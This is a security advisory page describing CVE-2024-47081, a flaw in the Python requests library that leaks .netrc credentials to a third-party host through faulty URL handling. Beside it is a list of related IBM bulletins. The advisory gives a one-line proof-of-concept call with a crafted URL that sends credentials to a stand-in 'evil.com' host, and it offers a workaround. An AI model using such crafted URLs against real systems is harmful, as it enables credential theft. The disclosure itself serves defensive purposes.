📄 PSF Request Library Credential Leak

🗓️ 03 Jun 2025 00:00:00Reported by Juho ForsénType

packetstorm🔗 packetstorm.news👁 266 Views

PSF requests library leaks .netrc credentials to third parties due to faulty URL handling.

Reporter	Title	Published	Views	Family All 398
IBM Security Bulletins	Security Bulletin: Multiple vulnerabilities in IBM watsonx Orchestrate Developer Edition	17 Dec 202509:51	–	ibm
IBM Security Bulletins	Security Bulletin: AIX/VIOS is affected by multiple vulnerabilities due to Python	19 Nov 202515:04	–	ibm
IBM Security Bulletins	Security Bulletin: IBM watsonx Orchestrate Developer Edition affected by vulnerability in python3-pip-wheel python3.11-pip python3.11-pip-wheel requests	29 Oct 202510:51	–	ibm
IBM Security Bulletins	Security Bulletin:Requests SSL Verification Issue Fixed in 2.32.0	4 May 202612:45	–	ibm
IBM Security Bulletins	Security Bulletin: Vulnerabilities in Requets affect IBM® Db2® Big SQL on IBM Cloud Pak for Data.	23 Jan 202613:27	–	ibm
IBM Security Bulletins	Security Bulletin: Astronomer with IBM is vulnerable to leaked credentials due to the requests package (CVE-2024-47081).	20 Nov 202514:25	–	ibm
IBM Security Bulletins	Security Bulletin: There are multiple vulnerabilities that can affect IBM Fusion	11 Sep 202518:18	–	ibm
IBM Security Bulletins	Security Bulletin: multiple vulnerabilities in IBM Spectrum Symphony with Requests and urlib3	23 Oct 202520:25	–	ibm
IBM Security Bulletins	Security Bulletin: Multiple Vulnerabilities in IBM watsonx Code Assistant On Prem	28 Aug 202507:22	–	ibm
IBM Security Bulletins	Security Bulletin: IBM Maximo Application Suite uses multiple third party dependencies which is vulnerable to CVEs.	7 Oct 202507:40	–	ibm

The PSF requests library (https://github.com/psf/requests & https://pypi.org/project/requests/) leaks .netrc credentials to third parties due to incorrect URL processing under specific conditions.
    
    Issuing the following API call triggers the vulnerability:
    
      requests.get('http://example.com:@evil.com/')
    
    Assuming .netrc credentials are configured for example.com, they are leaked to evil.com by the call.
    
    The root cause is https://github.com/psf/requests/blob/c65c780849563c891f35ffc98d3198b71011c012/src/requests/utils.py#L240-L245
    
    The vulnerability was originally reported to the library maintainers on September 12, 2024, but no fix is available. CVE-2024-47081 has been reserved by GitHub for this issue.
    
    As a workaround, clients may explicitly specify the credentials used on every API call to disable .netrc access.

03 Jun 2025 00:00Current

7.3High risk

Vulners AI Score7.3

CVSS 3.15.3

EPSS0.00845

SSVC